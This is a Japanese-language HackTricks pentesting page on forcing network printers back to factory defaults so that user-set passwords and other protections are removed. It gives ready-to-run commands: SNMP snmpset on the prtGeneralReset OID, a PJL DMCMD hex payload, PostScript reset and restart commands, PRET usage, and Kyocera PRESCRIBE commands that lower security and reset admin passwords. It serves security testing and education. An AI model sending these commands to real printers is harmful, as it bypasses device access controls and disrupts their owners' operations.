hacktricks/network-services-pentesting/pentesting-printers/factory-defaults.md
2023-07-07 23:42:27 +00:00

91 lines
8.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
デバイスを工場出荷時の設定に**リセット**することは、ユーザーが設定したパスワードなどの保護機構を**上書き**するため、セキュリティ上重要な機能です。これは通常、プリンタの**コントロールパネル**で**特殊なキーコンビネーション**を押すことで行うことができます。このような冷たいリセットは数秒で行われるため、昼食時にコピー室に忍び込むなど、現地の攻撃者やペネトレーションテスターにとって現実的なシナリオです。ただし、デバイスへの**物理的アクセス**が**常に可能**であるわけではありません。
### SNMP
Printer-MIBでは、**prtGeneralReset**オブジェクト(**OID 1.3.6.1.2.1.43.5.1.1.3.1**が定義されており、これを使用して攻撃者はSNMPを介してデバイスを再起動powerCycleReset(4)、NVRAMの設定をリセットresetToNVRAM(5)、または工場出荷時の設定に復元resetToFactoryDefaults(6))することができます。この機能/攻撃は、**さまざまなプリンタでサポート**されており、埋め込みWebサーバのユーザー設定パスワードなどのすべての保護機構が削除されます。保護機構は効率的にバイパスできますが、このアプローチの実用的な欠点は、すべての**静的IPアドレスの設定が失われる**ということです。**DHCPサービスが利用できない場合**、デバイスを工場出荷時の設定にリセットした後、攻撃者はデバイスに**再接続することができません**。
デバイスを工場出荷時の設定に**リセット**するには、以下に示すように`snmpset`コマンドを使用します(ほとんどの場合、デフォルトで**コミュニティストリング**は`public`です)。
```bash
snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
```
### [PML](./#pml)/[PJL](./#pjl)
多くのシナリオでは、ファイアウォールや不明なSNMPコミュニティ文字列のために、攻撃者はSNMPリクエストを実行する能力を持っていません。しかし、**HPデバイス**では、**SNMP**をその**PML表現**に変換し、リクエストを正当な印刷ジョブに埋め込むことができます。これにより、以下に示す通常の印刷ジョブ内で、攻撃者はデバイスを**再起動および/または工場出荷時の設定にリセット**することができます。
```bash
@PJL DMCMD ASCIIHEX="040006020501010301040106"
```
誰でもこの攻撃をHPプリンターに対して再現することができます。デバイスの再起動やリセットは、[**PRET**](https://github.com/RUB-NDS/PRET)を使用して簡単に再現することができます。
```bash
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart
```
### PostScript
PostScriptは同様の機能を提供します**FactoryDefaults**システムパラメータは、「**プリンタの電源を切る直前**に**trueに設定**されるフラグで、次回の電源オン時にすべての非ボラティルパラメータが**工場出荷時のデフォルト値に戻る**」というものです。ただし、PostScript自体も環境を**再起動**する機能を持っていますが、**有効なパスワード**が必要です。
しかし、PostScriptインタプリタは、[ドキュメント処理](http://hacking-printers.net/wiki/index.php/Document\_processing)のDoS攻撃で議論されているように、**無限ループ**に入れることができ、これによりユーザーはデバイスを**手動で再起動**し、PostScriptのパスワードをリセットする必要があります。
PostScriptシステムパラメータを工場出荷時のデフォルト値にリセットします
```bash
<< /FactoryDefaults true >> setsystemparams
```
PostScriptインタプリタと仮想メモリを再起動します
```bash
true 0 startjob systemdict /quit get exec
```
誰でもプリンタのPostScriptインタプリタを再起動またはリセットすることができます。これは[PRET](https://github.com/RUB-NDS/PRET)を使用して簡単に再現できます。
```bash
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart
```
### PRESCRIBE
**Kyoceraデバイス**では、**PRESCRIBEページ**の記述言語を使用して、以下に示すコマンドのいずれかを使用して、通常の印刷ジョブからデバイスを工場出荷時の設定にリセットすることができます。
```bash
!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password";
!R! ACNT "REST"; CMMT "Reset account code admin password";
!R! EGRE; CMMT "Reset the engine board to factory defaults";
!R! SIOP0,"RESET:0"; CMMT "Reset configuration settings";
```
この攻撃を再現するには、プリンタのポート9100/tcpに対して生のネットワーク接続を開き、**上記に記載されているコマンドを送信します**。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
</details>